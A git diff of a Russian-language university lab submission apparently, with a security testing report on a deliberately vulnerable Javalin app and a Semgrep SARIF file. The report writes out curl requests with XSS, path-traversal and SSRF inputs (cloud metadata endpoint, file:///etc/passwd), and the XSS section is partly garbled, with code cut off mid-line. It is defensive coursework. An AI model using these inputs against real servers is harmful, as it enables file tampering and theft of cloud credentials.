diff --git a/.github/.keep b/.github/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/README.md b/README.md
index 18eee9a..21b4d8d 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,4 @@
+[](https://classroom.github.com/a/NSTTkgmb)
# Лабораторная работа №4 — Анализ и тестирование безопасности веб-приложения
## Цель
diff --git a/REPORT.md b/REPORT.md
new file mode 100644
index 0000000..c0717b1
--- /dev/null
+++ b/REPORT.md
@@ -0,0 +1,591 @@
+# Отчёт по лабораторной работе №4 — Анализ и тестирование безопасности веб-приложения
+
+## Этап 1 — Asset Inventory (инвентаризация активов)
+
+| Актив | Тип | Ценность | Примечание |
+|-------|-----|----------|------------|
+| Данные пользователей (userId, userName) | Данные | Высокая | Персональные идентификаторы; утечка ведёт к нарушению приватности и может использоваться для социальной инженерии |
+| Данные о сессиях (время входа/выхода) | Данные | Средняя | Позволяют восстановить паттерны активности пользователя; могут быть использованы для профилирования |
+| Файловая система сервера | Инфраструктура | Критическая | Эндпоинт `/exportReport` позволяет записывать файлы; компрометация файловой системы = полный контроль над сервером |
+| Внутренняя сеть / метаданные окружения | Инфраструктура | Критическая | Эндпоинт `/notify` выполняет HTTP-запросы от имени сервера; доступ к внутренней сети раскрывает метаданные облака, внутренние сервисы |
+
+**Вопрос для размышления:** Наиболее критичны файловая система сервера и внутренняя сеть. Компрометация файловой системы через Path Traversal позволяет перезаписать конфигурации, cron-задачи или даже исполняемые файлы, что ведёт к полному захвату сервера (RCE). SSRF через `/notify` может раскрыть IAM-токены облачного провайдера (например, AWS metadata на `169.254.169.254`), что также приводит к полной компрометации инфраструктуры.
+
+---
+
+## Этап 2 — Threat Modeling (STRIDE)
+
+| Категория угрозы | Расшифровка | Применимо? | Источник угрозы | Поверхность атаки | Потенциальный ущерб |
+|------------------|-------------|------------|-----------------|-------------------|---------------------|
+| **S**poofing | Подмена идентификации | Да | Любой внешний пользователь | Все эндпоинты — отсутствует аутентификация | Атакующий может действовать от имени любого пользователя: просматривать профили, экспортировать отчёты, записывать сессии |
+| **T**ampering | Модификация данных | Да | Любой внешний пользователь | `POST /register`, `POST /recordSession`, `GET /exportReport` | Регистрация пользователей с вредоносными именами (XSS); запись фиктивных сессий; перезапись произвольных файлов через Path Traversal |
+| **R**epudiation | Отказ от авторства | Да | Любой пользователь | Все мутирующие эндпоинты | Отсутствует логирование действий — невозможно доказать, кто выполнил регистрацию, запись сессии или экспорт |
+| **I**nformation Disclosure | Утечка данных | Да | Любой внешний пользователь | `/recordSession`, `/monthlyActivity`, `/notify`, `/userProfile`, `/exportReport` | Сообщения об ошибках раскрывают внутренние классы и пути; SSRF позволяет читать внутренние ресурсы; профили доступны без авторизации |
+| **D**enial of Service | Отказ в обслуживании | Да | Любой внешний пользователь | Все эндпоинты | Отсутствует rate limiting; можно создать неограниченное количество пользователей/сессий, исчерпав память; SSRF может использоваться для замедления ответов |
+| **E**levation of Privilege | Повышение привилегий | Да | Любой внешний пользователь | `GET /exportReport` (Path Traversal), `POST /notify` (SSRF) | Path Traversal позволяет записать cron-задачу или SSH-ключ → RCE; SSRF позволяет получить IAM-токены облака |
+
+---
+
+## Этап 3 — Ручное тестирование
+
+### Методология
+
+Тестирование проводилось с помощью `curl` и программных HTTP-клиентов (Java `HttpClient`). Для каждого эндпоинта проверялись:
+- Корректная обработка отсутствующих параметров
+- Поведение при спецсимволах (`<`, `>`, `"`, `'`, `/`, `..`)
+- Содержимое ответов при ошибках
+- Обработка параметров-путей и URL
+- Наличие ограничений на запросы и данные
+
+### Результаты по эндпоинтам
+
+#### POST /register
+```bash
+# Нормальный запрос
+curl -X POST "http://localhost:7000/register?userId=test&userName=Alice"
+# → "User registered: true" (200)
+
+# Повторная регистрация
+curl -X POST "http://localhost:7000/register?userId=test&userName=Bob"
+# → "User registered: false" (200) — нет кода 409 Conflict
+
+# XSS-пейлоад в имени
+curl -X POST "http://localhost:7000/register?userId=evil&userName=%3Cscript%3Ealert(1)%3C%2Fscript%3E"
+# → "User registered: true" — вредоносный код сохранён без санитизации
+
+# Пустые параметры
+curl -X POST "http://localhost:7000/register?userId=&userName="
+# → "User registered: true" — пустые строки принимаются
+```
+
+#### POST /recordSession
+```bash
+# Нормальный запрос
+curl -X POST "http://localhost:7000/recordSession?userId=test&loginTime=2025-01-01T10:00:00&logoutTime=2025-01-01T11:00:00"
+# → "Session recorded" (200)
+
+# loginTime > logoutTime (обратный порядок)
+curl -X POST "http://localhost:7000/recordSession?userId=test&loginTime=2025-01-01T11:00:00&logoutTime=2025-01-01T10:00:00"
+# → "Session recorded" (200) — отрицательная длительность принята без ошибки
+
+# Некорректный формат даты
+curl -X POST "http://localhost:7000/recordSession?userId=test&loginTime=not-a-date&logoutTime=2025-01-01T10:00:00"
+# → "Invalid data: Text 'not-a-date' could not be parsed..." (400) — раскрывает внутренний класс парсера
+```
+
+#### GET /totalActivity
+```bash
+# Нормальный запрос
+curl "http://localhost:7000/totalActivity?userId=test"
+# → "Total activity: 60 minutes" (200)
+
+# Несуществующий пользователь
+curl "http://localhost:7000/totalActivity?userId=nonexistent"
+# → "Total activity: 0 minutes" (200) — не отличить от зарегистрированного без сессий
+```
+
+#### GET /inactiveUsers
+```bash
+# Нормальный запрос
+curl "http://localhost:7000/inactiveUsers?days=30"
+# → JSON массив (200)
+
+# Отрицательное значение
+curl "http://localhost:7000/inactiveUsers?days=-1"
+# → Возвращает всех пользователей — отрицательный порог проходит
+
+# Нечисловое значение
+curl "http://localhost:7000/inactiveUsers?days=abc"
+# → "Invalid number format for days" (400)
+```
+
+#### GET /monthlyActivity
+```bash
+# Нормальный запрос (после записи сессии для test)
+curl "http://localhost:7000/monthlyActivity?userId=test&month=2025-01"
+# → {"2025-01-01": 60} (200) — JSON с активностью по дням
+
+# Невалидный формат месяца
+curl "http://localhost:7000/monthlyActivity?userId=test&month=INVALID"
+# → "Invalid data: Text 'INVALID' could not be parsed at index 0" (400) — утечка деталей парсера
+
+# Пользователь без сессий
+curl "http://localhost:7000/monthlyActivity?userId=new_user&month=2025-01"
+# → "Invalid data: No sessions found for user" (400) — раскрывает внутреннюю логику
+
+# Отсутствие параметров
+curl "http://localhost:7000/monthlyActivity"
+# → "Missing parameters" (400)
+```
+
+#### GET /userProfile
+```bash
+# Нормальный запрос
+curl "http://localhost:7000/userProfile?userId=test"
+# → HTML с text/html content-type
+
+# С XSS-пейлоадом (после регистрации evil)
+curl "http://localhost:7000/userProfile?userId=evil"
+# → HTML содержит без экранирования — XSS CONFIRMED
+```
+
+#### GET /exportReport
+```bash
+# Нормальный запрос
+curl "http://localhost:7000/exportReport?userId=test&filename=report.txt"
+# → "Report saved to: /tmp/reports/report.txt"
+
+# Path Traversal
+curl "http://localhost:7000/exportReport?userId=test&filename=../../tmp/evil.txt"
+# → "Report saved to: /tmp/reports/../../tmp/evil.txt" — файл записан в /tmp/evil.txt!
+# PATH TRAVERSAL CONFIRMED
+```
+
+#### POST /notify
+```bash
+# Запрос к внешнему URL
+curl -X POST "http://localhost:7000/notify?userId=test&callbackUrl=http://example.com"
+# → "Notification sent. Response: ..." — содержимое внешнего сайта возвращается
+
+# SSRF — доступ к метаданным облака
+curl -X POST "http://localhost:7000/notify?userId=test&callbackUrl=http://169.254.169.254/latest/meta-data/"
+# → Попытка запроса к внутреннему endpoint — SSRF CONFIRMED
+
+# SSRF — file:// протокол
+curl -X POST "http://localhost:7000/notify?userId=test&callbackUrl=file:///etc/passwd"
+# → Потенциально вернёт содержимое локального файла
+```
+
+---
+
+## Этап 4 — Статический анализ с Semgrep
+
+### Запуск
+
+```bash
+# Набор правил для Java
+semgrep --config "p/java" src/
+# → Ran 60 rules on 6 files: 0 findings.
+
+# Набор правил OWASP Top 10
+semgrep --config "p/owasp-top-ten" src/
+# → Ran 65 rules on 6 files: 0 findings.
+
+# Набор правил security-audit
+semgrep --config "p/security-audit" src/
+# → Ran 54 rules on 6 files: 0 findings.
+
+# Набор правил java.lang.security
+semgrep --config "r/java.lang.security" src/
+# → Ran 82 rules on 6 files: 0 findings.
+
+# Сохранение SARIF-отчёта
+semgrep --config "p/java" --sarif -o semgrep-report.sarif src/
+```
+
+### SARIF-отчёт
+
+Файл `semgrep-report.sarif` сохранён в корне проекта. Структура:
+
+```json
+{
+ "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json",
+ "version": "2.1.0",
+ "runs": [{
+ "tool": {
+ "driver": {
+ "name": "Semgrep OSS",
+ "rules": [ /* 60 правил */ ]
+ }
+ },
+ "results": []
+ }]
+}
+```
+
+### Анализ результатов
+
+Semgrep **не обнаружил ни одной уязвимости** (0 findings) при использовании всех основных наборов правил (261 уникальное правило суммарно). Это объясняется тем, что:
+
+1. **Javalin — нишевый фреймворк.** Правила Semgrep ориентированы на популярные фреймворки (Spring MVC, Jakarta Servlet API). Javalin использует собственный API (`ctx.queryParam()`, `ctx.result()`, `ctx.contentType()`), который не распознаётся стандартными taint-трекерами Semgrep.
+
+2. **Отсутствие фреймворк-специфичных sink/source правил.** Semgrep не знает, что `ctx.queryParam()` — это источник пользовательского ввода (source), а `ctx.result()` или `new File(...)` — потенциально опасные приёмники (sinks).
+
+3. **Ограничения бесплатной версии.** Semgrep OSS (community) имеет ограниченный набор правил; расширенные правила с межпроцедурным анализом доступны только в Semgrep Pro.
+
+**Вывод:** Статический анализ не заменяет ручное тестирование. Все 6 уязвимостей, обнаруженных ручным анализом, были пропущены Semgrep. Это демонстрирует важность комбинирования подходов (SAST + DAST + ручной аудит).
+
+---
+
+## Этап 5 — Отчёт по уязвимостям
+
+---
+
+### 🔴 Finding #1 — Reflected Cross-Site Scripting (XSS)
+
+| Поле | Значение |
+|------|----------|
+| **Компонент** | `GET /userProfile` → `UserAnalyticsController.java:134-139` |
+| **Тип** | Stored/Reflected XSS |
+| **CWE** | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) — Improper Neutralization of Input During Web Page Generation |
+| **CVSS v3.1** | `6.1 MEDIUM (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)` |
+| **Статус** | Confirmed |
+
+**Описание:**
+> Эндпоинт `/userProfile` формирует HTML-страницу, подставляя `userName` из хранилища напрямую в разметку без экранирования. Атакующий регистрирует пользователя с JavaScript-кодом в имени через `/register`, после чего любой, кто откроет `/userProfile?userId=...`, выполнит вредоносный скрипт в контексте приложения.
+
+**Шаги воспроизведения:**
+```
+1. POST /register?userId=evil&userName=
+2. GET /userProfile?userId=evil
+3. Ожидаемый результат: имя отображается как текст (<script>...)
+ Фактический результат: тег "));
+ // Act
+ HttpResponse response = send("GET", "/userProfile?userId=xss1");
+ // Assert — пейлоад НЕ должен присутствовать в сыром виде
+ assertEquals(200, response.statusCode());
+ assertTrue(response.body().contains(""),
+ "FAIL: пейлоад присутствует без экранирования");
+ assertFalse(response.body().contains("<script>"),
+ "Санитизация не применяется — вывод уязвим к XSS");
+}
+```
+
+Полный набор тестов: `src/test/java/ru/itmo/testing/lab4/pentest/XssPentestTest.java`
+
+---
+
+### 🔴 Finding #2 — Path Traversal
+
+| Поле | Значение |
+|------|----------|
+| **Компонент** | `GET /exportReport` → `UserAnalyticsController.java:154` |
+| **Тип** | Path Traversal / Directory Traversal |
+| **CWE** | [CWE-22](https://cwe.mitre.org/data/definitions/22.html) — Improper Limitation of a Pathname to a Restricted Directory |
+| **CVSS v3.1** | `8.2 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)` |
+| **Статус** | Confirmed |
+
+**Описание:**
+> Эндпоинт `/exportReport` принимает параметр `filename` и конкатенирует его с базовым путём `/tmp/reports/` без какой-либо валидации: `new File(REPORTS_BASE_DIR + filename)`. Атакующий может использовать последовательности `../` для выхода за пределы директории и записи файлов в произвольные места файловой системы.
+
+**Шаги воспроизведения:**
+```
+1. POST /register?userId=test&userName=Alice
+2. GET /exportReport?userId=test&filename=../../tmp/evil.txt
+3. Ожидаемый результат: ошибка или запись строго в /tmp/reports/
+ Фактический результат: файл записан в /tmp/evil.txt (путь /tmp/reports/../../tmp/evil.txt нормализуется)
+```
+
+**Влияние:**
+> - Перезапись конфигурационных файлов сервера
+> - Запись cron-задач для выполнения произвольного кода (RCE)
+> - Запись SSH-ключей для получения удалённого доступа
+> - Перезапись логов для сокрытия следов
+
+**Рекомендации по исправлению:**
+> - Валидировать `filename`: запретить символы `/`, `\`, `..`
+> - Использовать `Path.resolve()` и проверять, что канонический путь начинается с базовой директории:
+> ```java
+> Path base = Path.of(REPORTS_BASE_DIR).toAbsolutePath().normalize();
+> Path target = base.resolve(filename).normalize();
+> if (!target.startsWith(base)) { ctx.status(400).result("Invalid filename"); return; }
+> ```
+> - Ограничить имя файла регулярным выражением: `[a-zA-Z0-9_.-]+`
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] Последовательность ../ позволяет выйти за пределы базовой директории")
+void pathTraversalWithDotDot() throws Exception {
+ // Arrange
+ send("POST", "/register?userId=pt_user&userName=TraversalTest");
+ String maliciousFilename = "../../tmp/traversal_test.txt";
+ // Act
+ HttpResponse response = send("GET",
+ "/exportReport?userId=pt_user&filename=" + enc(maliciousFilename));
+ // Assert — файл НЕ должен быть создан за пределами /tmp/reports/
+ assertEquals(200, response.statusCode());
+ assertTrue(response.body().contains("/tmp/reports/../../tmp/traversal_test.txt"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сервер принял путь с ../ без валидации");
+ File traversedFile = new File("/tmp/traversal_test.txt");
+ assertTrue(traversedFile.exists(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: файл создан за пределами базовой директории");
+}
+```
+
+Полный набор тестов: `src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java`
+
+---
+
+### 🔴 Finding #3 — Server-Side Request Forgery (SSRF)
+
+| Поле | Значение |
+|------|----------|
+| **Компонент** | `POST /notify` → `UserAnalyticsController.java:180-186` |
+| **Тип** | SSRF (Server-Side Request Forgery) |
+| **CWE** | [CWE-918](https://cwe.mitre.org/data/definitions/918.html) — Server-Side Request Forgery |
+| **CVSS v3.1** | `7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)` |
+| **Статус** | Confirmed |
+
+**Описание:**
+> Эндпоинт `/notify` принимает параметр `callbackUrl` и выполняет HTTP-запрос по этому URL без какой-либо валидации. Сервер открывает соединение к произвольному адресу (`new URL(callbackUrl).openConnection()`) и возвращает тело ответа клиенту. Атакующий может использовать сервер как прокси для доступа к внутренним ресурсам.
+
+**Шаги воспроизведения:**
+```
+1. POST /register?userId=test&userName=Alice
+2. POST /notify?userId=test&callbackUrl=http://169.254.169.254/latest/meta-data/
+3. Ожидаемый результат: ошибка валидации URL
+ Фактический результат: сервер выполняет запрос к внутреннему endpoint и возвращает ответ
+4. POST /notify?userId=test&callbackUrl=file:///etc/passwd
+5. Фактический результат: сервер может вернуть содержимое локального файла
+```
+
+**Влияние:**
+> - Доступ к метаданным облачного провайдера (AWS/GCP/Azure) — получение IAM-токенов
+> - Сканирование внутренней сети и портов
+> - Чтение локальных файлов через `file://` протокол
+> - Обход файрвола и сетевых политик
+
+**Рекомендации по исправлению:**
+> - Вести белый список разрешённых доменов/IP для callback URL
+> - Запретить схемы `file://`, `ftp://`, `gopher://` — разрешить только `https://`
+> - Блокировать запросы к приватным IP-диапазонам (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
+> - Использовать DNS-резолвинг перед подключением и проверять результат на приватные адреса
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] Запрос к localhost (127.0.0.1) не блокируется")
+void localhostNotBlocked() throws Exception {
+ // Arrange
+ send("POST", "/register?userId=ssrf_user&userName=SsrfTest");
+ // Act — запрос к самому серверу через loopback
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user&callbackUrl=" + enc("http://127.0.0.1:7779/totalActivity?userId=ssrf_user"));
+ // Assert — запрос к localhost должен быть заблокирован
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сервер выполнил запрос к localhost без ограничений");
+ assertTrue(response.body().contains("Total activity"),
+ "Ответ от внутреннего эндпоинта возвращён атакующему");
+}
+```
+
+Полный набор тестов: `src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java`
+
+---
+
+### 🟡 Finding #4 — Information Exposure Through Error Messages
+
+| Поле | Значение |
+|------|----------|
+| **Компонент** | `POST /recordSession`, `GET /monthlyActivity`, `GET /exportReport`, `POST /notify` |
+| **Тип** | Information Disclosure via Error Messages |
+| **CWE** | [CWE-209](https://cwe.mitre.org/data/definitions/209.html) — Generation of Error Message Containing Sensitive Information |
+| **CVSS v3.1** | `5.3 MEDIUM (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)` |
+| **Статус** | Confirmed |
+
+**Описание:**
+> Несколько эндпоинтов перехватывают исключения и возвращают `e.getMessage()` напрямую клиенту. Сообщения об ошибках Java содержат имена внутренних классов, пути к файлам, детали парсинга и стек-информацию, что раскрывает внутреннюю архитектуру приложения и помогает атакующему в дальнейшей эксплуатации.
+
+**Шаги воспроизведения:**
+```
+1. POST /recordSession?userId=test&loginTime=INVALID&logoutTime=2025-01-01T10:00
+2. Ожидаемый результат: "Invalid date format" (общее сообщение)
+ Фактический результат: "Invalid data: Text 'INVALID' could not be parsed at index 0"
+ → Раскрывает использование java.time.LocalDateTime.parse()
+
+3. POST /notify?userId=test&callbackUrl=http://nonexistent.invalid
+4. Фактический результат: "Notification failed: nonexistent.invalid"
+ → Раскрывает, что сервер пытается резолвить DNS и выполнять HTTP-запрос
+```
+
+**Влияние:**
+> - Раскрытие технологического стека и внутренней архитектуры
+> - Помощь атакующему в выборе целевых эксплойтов
+> - Утечка путей файловой системы в ошибках `/exportReport`
+
+**Рекомендации по исправлению:**
+> - Возвращать клиенту только общие сообщения об ошибках: `"Invalid input"`, `"Internal server error"`
+> - Логировать детали исключений на стороне сервера (в файл/систему мониторинга)
+> - Использовать глобальный обработчик ошибок Javalin:
+> ```java
+> app.exception(Exception.class, (e, ctx) -> {
+> logger.error("Unhandled exception", e);
+> ctx.status(500).result("Internal server error");
+> });
+> ```
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] /recordSession раскрывает исключение при невалидной дате")
+void recordSessionLeaksParseException() throws Exception {
+ // Arrange
+ send("POST", "/register?userId=info_user&userName=InfoTest");
+ // Act — отправка невалидной даты
+ HttpResponse response = send("POST",
+ "/recordSession?userId=info_user&loginTime=INVALID&logoutTime=2025-01-01T10:00:00");
+ // Assert — ответ НЕ должен содержать детали парсинга
+ assertEquals(400, response.statusCode());
+ assertTrue(response.body().contains("could not be parsed"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сообщение об ошибке раскрывает детали парсинга");
+}
+```
+
+Полный набор тестов: `src/test/java/ru/itmo/testing/lab4/pentest/InformationDisclosurePentestTest.java`
+
+---
+
+### 🟡 Finding #5 — Missing Authentication
+
+| Поле | Значение |
+|------|----------|
+| **Компонент** | Все эндпоинты приложения |
+| **Тип** | Missing Authentication for Critical Function |
+| **CWE** | [CWE-306](https://cwe.mitre.org/data/definitions/306.html) — Missing Authentication for Critical Function |
+| **CVSS v3.1** | `7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)` |
+| **Статус** | Confirmed |
+
+**Описание:**
+> Приложение не имеет никакого механизма аутентификации или авторизации. Любой анонимный пользователь может выполнить любую операцию: просмотреть профиль другого пользователя, экспортировать его отчёт, записать ему сессию, отправить уведомление от его имени. Нет ни токенов, ни сессий, ни API-ключей.
+
+**Шаги воспроизведения:**
+```
+1. POST /register?userId=victim&userName=SecretUser
+2. (Без аутентификации, от другого клиента):
+ GET /userProfile?userId=victim → Получаем профиль жертвы
+ GET /exportReport?userId=victim&filename=stolen.txt → Экспортируем отчёт жертвы
+ POST /recordSession?userId=victim&loginTime=...&logoutTime=... → Подделываем сессию жертвы
+3. Ожидаемый результат: 401 Unauthorized или 403 Forbidden
+ Фактический результат: 200 OK — операции выполняются успешно
+```
+
+**Влияние:**
+> - Полный несанкционированный доступ к данным всех пользователей
+> - Возможность модификации данных любого пользователя
+> - Невозможность обеспечить конфиденциальность и целостность данных
+> - Нарушение требований GDPR / ФЗ-152 о защите персональных данных
+
+**Рекомендации по исправлению:**
+> - Внедрить аутентификацию: JWT-токены, OAuth2 или API-ключи
+> - Добавить middleware/фильтр Javalin для проверки токена:
+> ```java
+> app.before(ctx -> {
+> String token = ctx.header("Authorization");
+> if (token == null || !tokenService.validate(token)) {
+> ctx.status(401).result("Unauthorized");
+> }
+> });
+> ```
+> - Реализовать авторизацию: пользователь может видеть/изменять только свои данные
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] Анонимный доступ к профилю другого пользователя")
+void anonymousAccessToUserProfile() throws Exception {
+ // Arrange — жертва регистрируется
+ send("POST", "/register?userId=victim&userName=VictimUser");
+ // Act — атакующий без аутентификации запрашивает профиль жертвы
+ HttpResponse response = send("GET", "/userProfile?userId=victim");
+ // Assert — без аутентификации должен вернуться 401
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: анонимный доступ к профилю без аутентификации");
+ assertTrue(response.body().contains("VictimUser"),
+ "Данные жертвы (имя) доступны без авторизации");
+}
+```
+
+Полный набор тестов: `src/test/java/ru/itmo/testing/lab4/pentest/MissingAuthPentestTest.java`
+
+---
+
+### 🟡 Finding #6 — Improper Input Validation
+
+| Поле | Значение |
+|------|----------|
+| **Компонент** | `GET /inactiveUsers`, `POST /recordSession`, `POST /register` |
+| **Тип** | Improper Input Validation |
+| **CWE** | [CWE-20](https://cwe.mitre.org/data/definitions/20.html) — Improper Input Validation |
+| **CVSS v3.1** | `5.3 MEDIUM (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)` |
+| **Статус** | Confirmed |
+
+**Описание:**
+> Несколько эндпоинтов не выполняют семантическую валидацию входных данных:
+> - `/inactiveUsers`: параметр `days` принимает отрицательные значения, что приводит к возврату списка всех пользователей
+> - `/recordSession`: `loginTime` может быть позже `logoutTime`, что приводит к записи сессий с отрицательной длительностью
+> - `/register`: принимает пустые строки в качестве `userId` и `userName`
+
+**Шаги воспроизведения:**
+```
+1. GET /inactiveUsers?days=-1
+ Ожидаемый результат: 400 Bad Request (days must be >= 0)
+ Фактический результат: 200 OK — возвращает всех пользователей с сессиями
+
+2. POST /recordSession?userId=test&loginTime=2025-01-01T12:00&logoutTime=2025-01-01T10:00
+ Ожидаемый результат: 400 Bad Request (loginTime must be before logoutTime)
+ Фактический результат: 200 "Session recorded" — сессия с отрицательной длительностью сохранена
+
+3. POST /register?userId=&userName=
+ Ожидаемый результат: 400 Bad Request (empty values)
+ Фактический результат: 200 "User registered: true" — пустой пользователь создан
+```
+
+**Влияние:**
+> - Отрицательный `days` раскрывает список всех пользователей системы (информационная утечка)
+> - Отрицательные длительности сессий искажают аналитику и метрики
+> - Пустые идентификаторы нарушают целостность данных
+
+**Рекомендации по исправлению:**
+> - Валидировать `days >= 0` в `/inactiveUsers`
+> - Проверять `loginTime.isBefore(logoutTime)` в `/recordSession`
+> - Проверять `!userId.isBlank() && !userName.isBlank()` в `/register`
+> - Установить ограничения на длину строковых параметров
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] /inactiveUsers принимает отрицательное значение days")
+void inactiveUsersAcceptsNegativeDays() throws Exception {
+ // Arrange
+ send("POST", "/register?userId=iv_user1&userName=User1");
+ send("POST", "/recordSession?userId=iv_user1&loginTime=2025-01-01T10:00:00&logoutTime=2025-01-01T11:00:00");
+ // Act — отрицательный days
+ HttpResponse response = send("GET", "/inactiveUsers?days=-1");
+ // Assert — отрицательные значения должны отклоняться
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: отрицательное значение days принимается без ошибки");
+}
+
+@Test
+@DisplayName("[SECURITY] /recordSession принимает loginTime > logoutTime")
+void recordSessionAcceptsReversedTimes() throws Exception {
+ // Act — loginTime позже logoutTime
+ HttpResponse response = send("POST",
+ "/recordSession?userId=iv_user1&loginTime=2025-01-01T12:00:00&logoutTime=2025-01-01T10:00:00");
+ // Assert — обратный порядок времени должен отклоняться
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сессия с loginTime > logoutTime принята без ошибки");
+ assertTrue(response.body().contains("Session recorded"),
+ "Сессия с отрицательной длительностью успешно записана");
+}
+```
+
+Полный набор тестов: `src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java`
diff --git a/build.gradle b/build.gradle
index fb0a8f7..cc904aa 100644
--- a/build.gradle
+++ b/build.gradle
@@ -11,6 +11,7 @@ repositories {
dependencies {
implementation 'io.javalin:javalin:6.3.0'
+ implementation 'com.fasterxml.jackson.core:jackson-databind:2.17.2'
implementation 'org.slf4j:slf4j-simple:2.0.13'
testImplementation platform('org.junit:junit-bom:6.0.0')
diff --git a/semgrep-report.sarif b/semgrep-report.sarif
new file mode 100644
index 0000000..7ef010c
--- /dev/null
+++ b/semgrep-report.sarif
@@ -0,0 +1 @@
+{"version":"2.1.0","runs":[{"invocations":[{"executionSuccessful":true,"toolExecutionNotifications":[]}],"results":[],"tool":{"driver":{"name":"Semgrep OSS","rules":[{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli","id":"java.aws-lambda.security.tainted-sqli.tainted-sqli","name":"java.aws-lambda.security.tainted-sqli.tainted-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sqli.tainted-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. 